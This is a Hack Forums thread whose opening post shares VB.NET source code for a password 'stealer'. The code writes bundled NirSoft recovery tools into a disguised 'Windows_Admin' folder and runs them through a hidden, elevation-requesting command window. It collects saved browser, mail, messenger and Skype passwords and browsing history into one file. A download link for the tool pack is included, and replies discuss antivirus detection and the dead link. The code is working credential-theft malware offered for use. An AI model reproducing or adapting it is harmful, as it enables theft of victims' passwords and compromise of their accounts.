+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [SOURCE] VB.NET EASY STEALER (/showthread.php?tid=992040)
[SOURCE] VB.NET EASY STEALER - ΛθƉ - Jan 20, 2011
This method is able to get passwords from:
Code
Firefox
Google Chrome
Internet Explorer
Opera
Outlook
AIM
Pidgin
MSN Messenger (Windows Live)
Yahoo MessengerAlso Gets Web History From:
Code
Firefox
Internet ExplorerDISCLAIMER: I am well aware that this is a total noob way of doing this, and definitely not the best way.
What You Need
This basically works using third-party tools form Nirsoft. You will need to download:
Code
messenpass
mail passview
iepassview
passwordfox
chromepass
operapassview
skypelogviewOr download the pack:
Code
http://www.mediafire.com/?3301t121ztbgjrj
MD5:12aa429ef6c2bf67302c79ecb9251388*NOTE I renamed the .exes before adding them to my project to make them easier to refer to later, so you made need to adjust the function accordingly
Code
Private Sub GetPass()
Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Windows_Admin")
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/chrome.exe", My.Resources.ChromePass)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/iehv.exe", My.Resources.iehv)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/iepv.exe", My.Resources.iepv)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/mailpv.exe", My.Resources.mailpv)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/mh.exe", My.Resources.MozillaHistoryView)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/mspass.exe", My.Resources.mspass)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/opera.exe", My.Resources.OperaPassView)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/pfox.exe", My.Resources.PasswordFox)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/skpye.exe", My.Resources.SkypeLogView)
Dim s As New ProcessStartInfo("cmd.exe")
s.RedirectStandardInput = True
s.RedirectStandardOutput = True
s.UseShellExecute = False
s.CreateNoWindow = True
s.Verb = "runas"
Dim p As Process = Process.Start(s)
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\chrome.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\chromepass.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\iehv.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\iehv.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\iepv.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\iepv.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\mailpv.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\mail.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\mh.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\firehistory.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\mspass.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\chat.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\opera.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\opera.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\skpye.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\skype.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\pfox.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\firepass.txt")
p.StandardInput.WriteLine("exit")
Thread.Sleep(10000)
Dim chrome As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\chromepass.txt")
Dim iehv As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\iehv.txt")
Dim iepv As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\iepv.txt")
Dim mail As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\mail.txt")
Dim firehistory As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\firehistory.txt")
Dim chat As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\chat.txt")
Dim opera As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\opera.txt")
Dim skype As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\skype.txt")
Dim firepass As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\firepass.txt")
Dim passwords As New StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\passwords.txt")
passwords.WriteLine("FIREFOX PASSWORDS")
passwords.WriteLine("***********************************************")
passwords.WriteLine(firepass.ReadToEnd)
passwords.WriteLine("INTERNET EXPLORER PASSWORDS")
passwords.WriteLine("***********************************************")
passwords.WriteLine(iepv.ReadToEnd)
passwords.WriteLine("CHROME PASSWORDS")
passwords.WriteLine("***********************************************")
passwords.WriteLine(chrome.ReadToEnd)
passwords.WriteLine("OPERA PASSWORDS")
passwords.WriteLine("***********************************************")
passwords.WriteLine(opera.ReadToEnd)
passwords.WriteLine("CHAT PASSWORDS")
passwords.WriteLine("***********************************************")
passwords.WriteLine(chat.ReadToEnd)
passwords.WriteLine("MAIL PASSWORDS")
passwords.WriteLine("***********************************************")
passwords.WriteLine(mail.ReadToEnd)
passwords.WriteLine("FIREFOX HISTORY")
passwords.WriteLine("***********************************************")
passwords.WriteLine(firehistory.ReadToEnd)
passwords.WriteLine("INTERNET EXPLORER HISTORY")
passwords.WriteLine("***********************************************")
passwords.WriteLine(iehv.ReadToEnd)
passwords.WriteLine("SKYPE")
passwords.WriteLine("***********************************************")
passwords.WriteLine(skype.ReadToEnd)
passwords.Close()
End SubLike I said before, definitely not the best way, but it does work.
* - no1me - Jan 20, 2011
https://hackforums.net/showthread.php?tid=434366
* - djeko - Jan 20, 2011
Whats about antivir? nirsoft tools are always detected by av?
* - ΛθƉ - Jan 20, 2011
(Jan 20, 2011 04:26 PM)no1me Wrote: https://hackforums.net/showthread.php?tid=434366
didn't see that post. doesnt surprise me though that someone else would have come up with this method first
RE: [SOURCE] VB.NET EASY STEALER - unknownhackers - Jan 7, 2020
Seems like the link is down, does anyone or you got a new one? or maybe a new better source:)
RE: [SOURCE] VB.NET EASY STEALER - Celiform - Jan 7, 2020
(Jan 7, 2020 02:16 PM)unknownhackers Wrote: Seems like the link is down, does anyone or you got a new one? or maybe a new better source:)
9 years ....
RE: [SOURCE] VB.NET EASY STEALER - Skofos - Jan 8, 2020
(Jan 7, 2020 02:16 PM)unknownhackers Wrote: Seems like the link is down, does anyone or you got a new one? or maybe a new better source:)
lmao 🤣
RE: [SOURCE] VB.NET EASY STEALER - unknownhackers - Jan 8, 2020
(Jan 8, 2020 03:14 AM)Skofos Wrote: lmao 🤣
whoooops
RE: [SOURCE] VB.NET EASY STEALER - WoodCarpet - Feb 16, 2020
Using third part applications is horrible, I think